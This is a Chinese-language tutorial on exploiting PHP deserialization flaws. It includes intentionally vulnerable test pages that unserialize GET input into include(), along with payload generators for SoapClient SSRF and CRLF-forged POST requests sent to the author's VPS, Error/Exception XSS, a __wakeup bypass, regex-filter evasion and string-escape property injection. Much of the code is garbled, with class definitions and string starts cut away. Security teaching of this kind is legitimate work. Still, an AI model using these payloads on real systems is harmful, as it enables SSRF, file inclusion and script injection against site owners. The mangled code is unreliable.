编程语言提供了一种序列化机制,可以将内存中的对象转为字符串,这样就可以将对象进行存储等操作,而反序列化就是把这个字符串还原成内存中的对象。当进行反序列化的时候这个字符串可控,并且又没有进行过滤,那么就可能存在反序列化漏洞。
为什么字符串可控且没有过滤会存在漏洞呢?先来看看序列化和反序列化的过程:
PHP代码:
';
}
public function __destruct() {
echo 'destruct Called
';
}
public function __sleep() {
echo 'sleep Called
';
return array('name');
}
public function __wakeup() {
echo 'wakeup Called
';
}
}
$obj = new Test();
echo "before searialized
";
$searialized = serialize($obj);
echo "searialized string: ".$searialized."
";
unserialize($searialized);
echo "after unserialize
";
?>
这串代码很简单,实例化一个名为Test的类对象->serialize函数把这个对象序列化成一个字符串打印出来->反序列化这个字符串,看看运行的结果:
结果:
1.在实例化一个对象的时候,construct函数被自动调用。
2.在使用serialize函数将对象序列化成一个字符串的时候,sleep方法被自动调用。
3.在使用unserialize函数将字符串反序列化的时候,wakeup方法被自动调用。
4.在本程序快结束的时候,destruct方法被调用了2次。
上面这些被自动调用的方法,PHP里叫做魔术方法,不光PHP有,其他的语言也有,比如在C++里有构造函数和析构函数,对应着PHP的__construct和__destruct。除了这里写的魔术方法,PHP还有其他魔术方法,会在某些特定情况下被自动调用,下面列举一些常见的魔术方法和它的作用:
1、构造函数:__construct():
对象被实例化的时候,自动调用。
2、析构函数:__destruct():
对象被销毁前自动调用。
3、 __set( k e y , key, key,value):
给类的私有属性赋值时自动调用。
4、 __get($key):
获取类的私有属性时自动调用。
5、 __isset($key):
外部使用isset()函数检测这个类的私有属性时,自动调用。
6、 __unset($key):
外部使用unset()函数删除这个类的私有属性时,自动调用。
7、__clone:
当使用clone关键字,克隆对象时,自动调用。
8、__tostring():
当使用echo等输出语句,直接打印对象时自动调用,例如上面那个代码中的echo $searialized其实就会调用这个魔术方法。
9、__call():
调用类中未定义或未公开的方法时,自动调用。
10、__autoload()
① 这是唯一一个不在类中使用的魔术方法。
② 当实例化一个不存在的类时,自动调用这个魔术方法。
③ 调用时,会自动给__autoload()传递一个参数:实例化的类名
11、__sleep():
把对象实例化成字符串的时候自动调用(上面的示例中有)
12、__wakeup():
把字符串反序列化成对象时,会优先调用自动调用。
OK,现在已经知道了魔术方法,那么再来仔细看一下序列化的字符串:O:4:“Test”:1:{s:4:“name”;s:3:“dyb”;}
这个字符串是这样翻译的:
再和这个类对象对比一下,可以发现,序列化的时候只是将类的属性转为了字符串,并没有把方法转为字符串。
理解了序列化的过程,那么反序列化的过程也比较容易理解了,就是把一个字符串按照它特定的格式解析,还原成类对象,并且只是还原了它的成员属性,没有动它的方法,既然序列化都没有将方法转成字符串,那么反序列化的时候自然是需要代码中有这个类的方法的代码它才能调用,是吧。
那么弄清了上述2点,反序列化漏洞就说得清了:
1.在反序列化的时候,如果这个字符串可控,我们就可以让它反序列化出代码中任意一个类对象,并且类对象的属性是可控的。
2.由于存在会自动调用的魔术方法(当然手动调用的方法也一样),如果这些方法中调用了自己的属性值(我们可控),那么我们就可以操控方法调用的结果了。
3.虽然介绍了魔术方法,但反序列化漏洞和魔术方法没有必然联系,调用普通方法也可能触发反序列化漏洞,只是魔术方法自动调用更容易被编程人员忽视。
因此,寻找反序列化漏洞的利用链就变成了:
1.存在的一个类(代码中写/系统自带的)。
2.类的方法被调用时(自动/手动)如果使用了自己成员属性的值,那么这个方法的执行结果我们就可控。
来试验一下,这是test.php的内容:
';
}
public function __destruct() {
include($this->name);
}
public function __sleep() {
echo 'sleep Called
';
return array('name');
}
public function __wakeup() {
echo 'wakeup Called
';
}
}
$obj = new Test();
echo "before searialized
";
$searialized = serialize($obj);
echo "searialized string: ".$searialized."
";
echo "-------------------------------------------------------
";
$obj2 = @unserialize($_GET['s']);
if($obj2)
echo "after unserialize
";
?>
right.php
";
flag.php
";
这一次__destruct方法中的内容变为了include $name的值,正常情况会包含right.php文件的内容,程序把创建的Test对象序列化成字符串后发送到前端,再通过GET方式接收一个字符串进行反序列化。
由于GET方式接收的变量可控,所以我们可以直接修改$name的值,这样就能让它包含别的文件,这就是反序列化漏洞:
注意结尾输出了flag here和right,这说明有2个Test对象,一个是new创建的,一个是反序列化生成的对象。
由于反序列化漏洞中类对象的属性都是可控的,所以只要魔术方法或普通方法调用了类的属性就可能有利用点,这也是常见的利用姿势。
除了自己编写在代码中的类,还有一些PHP自带的类,也一样可以利用,实战中可以用来盲打PHP反序列化。
格式:在实例化对象的时候需要传入2个参数:public SoapClient::__construct(?string $wsdl
, array $options
= [])
SoapClient 用作SOAP协议,它实现了__CALL方法,在调用一个不存在的方法时会触发CALL方法,可以造成SSRF攻击。不过我没有找到CALL方法的原型,不清楚它具体是如何实现的。
(PHP 5, PHP 7, PHP 8)
1.目标服务器启用了php_soap扩展。
2.反序列化后调用了SoapClient中不存在的方法,导致__CALL被调用。
开启php_soap.dll扩展:
test.php:
getFlag();
这道题没有提供任何类的代码,所以只能用内置已经存在的类进行反序列化攻击,生成payload(web访问这个页面来生成):
'test', 'location' => 'http://192.168.160.202:8888/path')); //修改这里的地址为自己的vps
$b = serialize($a);
echo $b;
结果:
O:10:"SoapClient":3:{s:3:"uri";s:4:"test";s:8:"location";s:32:"http://192.168.160.202:8888/path";s:13:"_soap_version";i:1;}
发送payload后,自己的vps上收到了GET请求。
new SoapClient的时候,options参数中还有一个选项为user_agent
,允许我们自己设置User-Agent
的值,当我们可以控制User-Agent
的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type
为和Content-Length
都在User-Agent
之下,而控制这两个是利用CRLF发送post请求最关键的地方。
生成payload(web访问这个页面来生成):
$target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa); //这里把前面的^^替换成了CRLF
$aaa = str_replace('&','%26',$aaa); //编码&,&是参数分隔符,不编码会分割参数。
echo $aaa;
?>
发送payload:
Error方法中实现了__toString,被调用时会返回 Error 的 string表达形式,可能造成XSS。
(PHP 7, PHP 8)
1.打印对象,导致__toString方法被调用。
test.php
生成payload
alert(1)");
echo urlencode(serialize($a));
?>
发送payload
Exception继承了Error,和Error的利用方式一样。
(PHP 5, PHP 7, PHP 8)
1.打印对象,导致__toString方法被调用。
test.php
生成payload:
alert(1)");
echo urlencode(serialize($a));
?>
想要了解更多php原生类的用法可以看这个文章,有些类是不能进行序列化的,所以没有放到这篇文章。https://www.codetd.com/article/13648456#_SimpleXMLElement__XXE_603
unserialize()
反序列化时会检查是否存在一个 __wakeup()
方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源,如重建数据库连接、初始化成员变量等,重新初始化成员变量也可以缓解反序列化漏洞造成的影响,但某些版本可被绕过。
影响版本为:PHP 5至5.6.25,PHP 7至 7.0.10。
当序列化后的字符串中定义的变量数大于实际变量数量时,就会绕过 wakeup()函数,如:O:4:“xctf”:2:{s:4:“flag”;s:4:“flag”;},xctf":2 指2个参数,实际上只有flag=flag一个变量。
test.php
';
}
public function __destruct() {
echo '__destruct Called
';
}
public function __sleep() {
echo 'sleep Called
';
return array('name');
}
public function __wakeup() {
echo 'wakeup Called
';
}
}
$obj = new Test();
echo "before searialized
";
$searialized = serialize($obj);
echo "searialized string: ".$searialized."
";
echo "-------------------------------------------------------
";
$obj2 = @unserialize($_GET['s']);
if($obj2)
echo "after unserialize
";
var_dump($obj2);
echo "
";
?>
输入正常的序列化字符串进行反序列化:
修改数量:
通过后面的vardump打印对象可以看出,修改数量后反序列化失败了,wakeup也没有执行,但destruct却执行了,所以这个利用链应该只能是destruct魔术方法。
正则:preg_match(‘/[oc]:\d+:/i’, $var) 匹配反序列化字符串来进行防御,可在数字前添加+进行绕过。
O:4 == O:+4
前面讲了反序列化时会按照一定格式来解析字符串,读取字符串的时候会按照字符长度从引号中读取指定长度,如果在过滤处理字符串的时候将字符串减少,也可以利用反序列化的解析规则来绕过。
先来看看这个示例:
通过get方式接收到字符s后,使用了filter函数进行过滤,过滤的时候把.号过滤掉了。
";
$s = filter($s);
echo "过滤后:" . $s . "
";
var_dump(unserialize($s));
输入:O:1:“A”:2:{s:4:“name”;s:7:“xxx.php”;s:4:“pass”;s:6:“123456”;}
字符串.被过滤,结构被破坏,反序列化失败,原因是解析到s:7:的时候会往后读取7个字符,但是现在读取完第7个后不再是双引号,导致出错:
但如果我们能让第七个字符后面还是双引号,那么就可以正常解析后面的内容了,所以我在payload中添加了一个双引号,这样即便被过滤掉一个字符,后续还是可以被正常解析。
输入:O:1:“A”:2:{s:4:“name”;s:7:“xxx.php”";s:4:“pass”;s:6:“123456”;}
利用反序列化解析的规则,后续部分的内容只要符合它的解析规则就可以正常反序列化。这个看实验其实比较好理解:
输入:O:1:“A”:2:{s:4:“name”;s:6:“xxxxxx…”;s:4:“pass”;s:4:“hack”;}
原理和字符串减少的时候差不多。只是构造payload的时候要逆转思维。
还是上面那个实验环境,输入:O:1:“A”:2:{s:4:“name”;s:4:“xxx.”;s:4:“pass”;s:6:“123456”;},读取4个字符后面变成了-没法正确闭合:
那么如果能把xxx-后面的内容变成";s:4:“pass”;s:4:“hack”;},拼接出来就是O:1:“A”:2:{s:4:“name”;s:4:“xxx-”;s:4:“pass”;s:4:“hack”;}-";s:4:“pass”;s:6:“123456”;},能够正确闭合。
这里要构造payload就需要逆转一下思维,先让原始payload的name包含";s:4:“pass”;s:4:“hack”;},经过filter后产生溢出后刚好让name的值覆盖到双引号前,所以要让溢出的长度=";s:4:“pass”;s:4:“hack”;}的长度:
生成payload:
name = str_repeat('.', 25) . $ss; //闭合使用的字符串长度为25,一个.号溢出一个,所以需要25个.
echo serialize($AA);
private属性序列化后字段名前会加上\0前缀(即%00),长度为1
protected属性序列化后字段名前会加上\0*\0,长度为3
对比结果如图所示:
通过浏览器发送的话会被转义导致无法反序列化。
构造序列化字符串的时候:
1.部分版本对关键字不敏感(网传7.1+,但我测试很多版本都这样),可以直接修改为public。
2.直接浏览器或发送/工具编码可能出问题,可使用php自带的base64进行编码,使用python的requests[可base64]发送。
base64编码序列化出来的字符串:
python解码后发送:
序列化字符串中小写的s表示后面内容是字符串,大写S表示十六进制。
影响范围:PHP5、PHP7
';
}
public function __destruct() {
echo $this->name."
";
}
public function __sleep() {
echo 'sleep Called
';
return array('name');
}
public function __wakeup() {
echo 'wakeup Called
';
}
}
$obj = new Test();
echo "before searialized
";
$searialized = serialize($obj);
echo "searialized string: ".$searialized."
";
echo "-------------------------------------------------------
";
$obj2 = @unserialize($_GET['s']);
echo "after unserialize
";
echo "
";
?>
使用大写S后,可以将字符串十六进制编码。
反序列化漏洞通常出现在cookie等处。
1.通过代码审计,寻找序列化serialize和反序列化函数unserialize,分析魔术方法和普通方法调用时是否存在利用链。
2.黑盒测试:黑盒盲测时观察web前端出现的序列化字符串,形式O:1:xxx之类的,前端出现序列化字符串,有序列化必定就有反序列化操作,盲测时可以借助前面讲得原生类进行盲打,也可以根据序列化字符串分析类的结构,猜测其他的类等。